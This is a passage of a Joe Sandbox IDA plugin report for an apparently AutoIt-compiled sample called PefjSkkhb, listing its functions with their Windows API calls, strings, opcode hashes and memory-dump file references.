Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction ID: 3f629bdb24d2f0e01744a546b86e41d30df68426cc8d1959dd0b7de4d393b3b9
Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction Fuzzy Hash: 09F0C834F1871143F7746F71A848B6966D2FF89BC4F844074DA0E82B58DF3CD0859600

Function 00007FF697BD7E38 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BAB748: CLSIDFromProgID.OLE32 ref: 00007FF697BAB771
Part of subcall function 00007FF697BAB748: ProgIDFromCLSID.OLE32 ref: 00007FF697BAB790
Part of subcall function 00007FF697BAB748: lstrcmpiW.KERNEL32 ref: 00007FF697BAB7A2
Part of subcall function 00007FF697BAB748: CoTaskMemFree.OLE32 ref: 00007FF697BAB7B4

Part of subcall function 00007FF697BAC034: WNetAddConnection2W.MPR ref: 00007FF697BAC143
Part of subcall function 00007FF697BAC034: RegConnectRegistryW.ADVAPI32 ref: 00007FF697BAC164
Part of subcall function 00007FF697BAC034: RegOpenKeyExW.ADVAPI32 ref: 00007FF697BAC193
Part of subcall function 00007FF697BAC034: RegQueryValueExW.ADVAPI32 ref: 00007FF697BAC1CD

CoInitializeSecurity.OLE32 ref: 00007FF697BD7F26
CoCreateInstanceEx.OLE32 ref: 00007FF697BD80C6
CoTaskMemFree.OLE32 ref: 00007FF697BD80D2
CoSetProxyBlanket.OLE32 ref: 00007FF697BD812B

Strings

NULL Pointer assignment, xrefs: 00007FF697BD8148

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
String ID: NULL Pointer assignment
API String ID: 1653399731-2785691316
Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction ID: 7e4a2f23923695432854e5325879244f0d7ee031470eeaf741a239d3cb71b545
Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction Fuzzy Hash: 69B17976A08A418AEB20DF61D8802AD7BB0FB897D8F500176EE4D97B58DF38E545CB44

Function 00007FF697BD6920 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF697BD695A
CharUpperBuffW.USER32 ref: 00007FF697BD6A77
VariantClear.OLEAUT32 ref: 00007FF697BD6C11

Part of subcall function 00007FF697BC03E8: VariantInit.OLEAUT32 ref: 00007FF697BC0437
Part of subcall function 00007FF697BC03E8: VariantCopy.OLEAUT32 ref: 00007FF697BC0443
Part of subcall function 00007FF697BC03E8: VariantClear.OLEAUT32 ref: 00007FF697BC0450

Strings

AUTOIT.ERROR, xrefs: 00007FF697BD6A7D
Incorrect Parameter format, xrefs: 00007FF697BD6990, 00007FF697BD6B81

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
Instruction ID: 5fb70c8db2b8ea076b52732a7e337594dc7d94a9dde21346c1a049932799af75
Opcode Fuzzy Hash: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
Instruction Fuzzy Hash: C5917976B08B42C5EB20EF65E4802AD33A5FB8ABD8B4544B2DE4E97759DF38E405C344

Function 00007FF697BB9898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF697BB98EB

Strings

REMOVE, xrefs: 00007FF697BB98F1
KEYS, xrefs: 00007FF697BB9938
EXISTS, xrefs: 00007FF697BB997B
APPEND, xrefs: 00007FF697BB99BE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction ID: 1680f357b999826720475b9537ac3345cc55d1fb93baf1986a4c9329985d5e63
Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction Fuzzy Hash: 3641A332B19A53C1EAB04F358885179A3A5EB66BD4B544671CE9DC3798EE3DF9428300

Function 00007FF697B79B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF697B79B56

Strings

#, xrefs: 00007FF697B79BEB
E, xrefs: 00007FF697B79BF7
O, xrefs: 00007FF697B79BFD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction ID: 2077972a495e33cf4a8d3a3f211f61c6938f961cab95d43a9d37bae65cffa3bd
Opcode Fuzzy Hash: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction Fuzzy Hash: 85416932A19B5185EF618F6198406BA23A4FF56BD8F184071EE5E87B9DEF3CE441CB00

Function 00007FF697BBB62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BBCA34: GetFullPathNameW.KERNEL32 ref: 00007FF697BBCA62

Part of subcall function 00007FF697BBCA34: GetFullPathNameW.KERNEL32 ref: 00007FF697BBCA77

lstrcmpiW.KERNEL32 ref: 00007FF697BBB682
MoveFileW.KERNEL32 ref: 00007FF697BBB6B6
wcscat.LIBCMT ref: 00007FF697BBB744
SHFileOperationW.SHELL32 ref: 00007FF697BBB7A9

Strings

\*.*, xrefs: 00007FF697BBB736

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
String ID: \*.*
API String ID: 3196045410-1173974218
Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction ID: b0ca1a2e0687bac9a6a0e20833e4251d0b876385f1dc931be1532c0af68ef617
Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction Fuzzy Hash: 88410C32A1864295EB30DF64D8901FE6764FF9A7C8F840075DE4D93A9DEF28EA09D740

Function 00007FF697BADF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BB0730: GetClassNameW.USER32 ref: 00007FF697BB075B

SendMessageW.USER32 ref: 00007FF697BADFE3
SendMessageW.USER32 ref: 00007FF697BAE000
SendMessageW.USER32 ref: 00007FF697BAE036

Strings

ListBox, xrefs: 00007FF697BADF9C
ComboBox, xrefs: 00007FF697BADF5F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$ClassName
String ID: ComboBox$ListBox
API String ID: 787153527-1403004172
Opcode ID: 50f1d75fbf58418a8b746d3a4e6e520a523a5a635b2cd0adfcd1e093ce64af6b
Instruction ID: f0d0657d0b43d2886baeee7037b0954f97c4728f84042f9ec9049385a74452c1
Opcode Fuzzy Hash: 50f1d75fbf58418a8b746d3a4e6e520a523a5a635b2cd0adfcd1e093ce64af6b
Instruction Fuzzy Hash: A1319136A0964286EA34EF11E4525B973A0FF86FD4F4441B1DE9D87799CE3CE606D700

Function 00007FF697BCD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET ref: 00007FF697BCD954
HttpSendRequestW.WININET ref: 00007FF697BCD988
HttpQueryInfoW.WININET ref: 00007FF697BCD9D4
InternetCloseHandle.WININET ref: 00007FF697BCDA38

Part of subcall function 00007FF697BCEAB8: GetLastError.KERNEL32 ref: 00007FF697BCEAD4
Part of subcall function 00007FF697BCEAB8: SetEvent.KERNEL32 ref: 00007FF697BCEAE9

Strings

, xrefs: 00007FF697BCD9C1

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction ID: 351dfab258efc8f5c18d6622927228b8d19c4101169d171b98bfdd5801d24f21
Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction Fuzzy Hash: 9E31B236A1C68286FF709F15A454AAA67A0FB86BC1F5C9171EF4D97B4DDE3CD4028B00

Function 00007FF697BE93E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B4932C: CreateWindowExW.USER32 ref: 00007FF697B493BC
Part of subcall function 00007FF697B4932C: GetStockObject.GDI32 ref: 00007FF697B493D9
Part of subcall function 00007FF697B4932C: SendMessageW.USER32 ref: 00007FF697B493EC

SendMessageW.USER32 ref: 00007FF697BE94C1
LoadLibraryW.KERNEL32 ref: 00007FF697BE94CE
SendMessageW.USER32 ref: 00007FF697BE94EC
DestroyWindow.USER32 ref: 00007FF697BE94FA

Strings

SysAnimate32, xrefs: 00007FF697BE9460

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction ID: 6a7f70c8b68e6e70b62ba4adaef4a68fea9066306beda2da6f75ac2e828fc4a3
Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction Fuzzy Hash: 78319C32A09781CAE7709F25E454B6E33A1FB86B80F5041B9DA5D87B88DF3CD844CB41

Function 00007FF697B69164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF697B69184
GetProcAddress.KERNEL32 ref: 00007FF697B6919A
FreeLibrary.KERNEL32 ref: 00007FF697B691BF

Strings

mscoree.dll, xrefs: 00007FF697B6917B
CorExitProcess, xrefs: 00007FF697B69193

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction ID: 83a1c0e586f6f91b83832637fbf9e753eb84201a8479563ab5a28934c6038283
Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction Fuzzy Hash: 6AF0A475A19A4291EF64AF11E44437863A0EF89FD0F441079EA0FC265CCE3CD544DB00

Function 00007FF697BD45A4 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32 ref: 00007FF697BD4700
#17.WSOCK32 ref: 00007FF697BD4735
WSAGetLastError.WSOCK32 ref: 00007FF697BD4744
inet_ntoa.WSOCK32 ref: 00007FF697BD47E3
htons.WSOCK32 ref: 00007FF697BD4833

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: ErrorLasthtonsinet_ntoa
String ID:
API String ID: 2227131780-0
Opcode ID: 6d4788a4abc5ce2114f5ac25091d31e77d7f9f094256cfd739c645a6feeb5206
Instruction ID: c7a233a0979e016f97caf8b3dc75ff2e1eac7c2b75f63e96e28526881a170644
Opcode Fuzzy Hash: 6d4788a4abc5ce2114f5ac25091d31e77d7f9f094256cfd739c645a6feeb5206
Instruction Fuzzy Hash: E6A1C072A0868286EB30EF26D8546BE6791FF86BD4F444172DE5EC779ADE3CE5008704

Function 00007FF697BDE838 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF697BDE8EA
OpenProcess.KERNEL32 ref: 00007FF697BDE8FA
GetProcessIoCounters.KERNEL32 ref: 00007FF697BDE931
CloseHandle.KERNEL32 ref: 00007FF697BDEAEE

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction ID: 36bba7d4e6cbfd074e7708c207a09f36d4b03814181acf5f9d65c18137ee60aa
Opcode Fuzzy Hash: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction Fuzzy Hash: 3D817B32B0869286EB24DF22D4586AD37A1FB4AFD4F058176DE0D97B9ADF38E501C740

Function 00007FF697BE02DC Relevance: 7.7, APIs: 5, Instructions: 159registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BE1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF697BDFD7B), ref: 00007FF697BE1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF697BE03E3
RegOpenKeyExW.ADVAPI32 ref: 00007FF697BE043A
RegEnumValueW.ADVAPI32 ref: 00007FF697BE04A3
RegCloseKey.ADVAPI32 ref: 00007FF697BE04F4
RegCloseKey.ADVAPI32 ref: 00007FF697BE0503

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 3451389628-0
Opcode ID: adfb7868244c5e1d0bfc560eceff1a8588b273cb05b564dbeb42a9c501cb6717
Instruction ID: 68af14e999907736b8229bc6806871a40d4f13c5dd9667e97f4bfefa7ca9e933
Opcode Fuzzy Hash: adfb7868244c5e1d0bfc560eceff1a8588b273cb05b564dbeb42a9c501cb6717
Instruction Fuzzy Hash: DD712B72B08A468AEB20DF65D1913BC3770EF86B88F4185B1DA0D97B9ADF38D115C784

Function 00007FF697B7E67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000010,-00000090,00007FF697B7EEAF), ref: 00007FF697B7E6D9
WideCharToMultiByte.KERNEL32 ref: 00007FF697B7E7B5
WriteFile.KERNEL32 ref: 00007FF697B7E7DB
WriteFile.KERNEL32 ref: 00007FF697B7E81A
GetLastError.KERNEL32 ref: 00007FF697B7E852

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction ID: e964091e4169a989de69e92005bfc2aa831246364e47bb6a15d2c2570fc5d1ab
Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction Fuzzy Hash: D3518D32A14A9189E720CF65E4843AC7BB0FB4ABD8F048175DE5E9BB99DF38D146C700

Function 00007FF697BE0084 Relevance: 7.6, APIs: 5, Instructions: 141registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697BE1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF697BDFD7B), ref: 00007FF697BE1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF697BE0189
RegOpenKeyExW.ADVAPI32 ref: 00007FF697BE01E6
RegEnumKeyExW.ADVAPI32 ref: 00007FF697BE0250
RegCloseKey.ADVAPI32 ref: 00007FF697BE028D
RegCloseKey.ADVAPI32 ref: 00007FF697BE029D

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
Instruction ID: 8e97ac84d88e041e14d1a6dcfa58fd03cc3b10555055ed57135ab8278443ccd6
Opcode Fuzzy Hash: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
Instruction Fuzzy Hash: DE617C32A08A8685EB20DF65D4843BD6B60FF86BC4F5041B1EA4D87B6ADF7CD145CB84

Function 00007FF697BDD0F8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD176
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD217
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD236
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD281
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF697BDC2BF), ref: 00007FF697BDD2A0

Part of subcall function 00007FF697B64120: WideCharToMultiByte.KERNEL32 ref: 00007FF697B64160
Part of subcall function 00007FF697B64120: WideCharToMultiByte.KERNEL32 ref: 00007FF697B6419C

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
Instruction ID: 440d48b500a3daf3d2204e248abf81e2505e63bef70d8cb4d0e629260553c4d5
Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
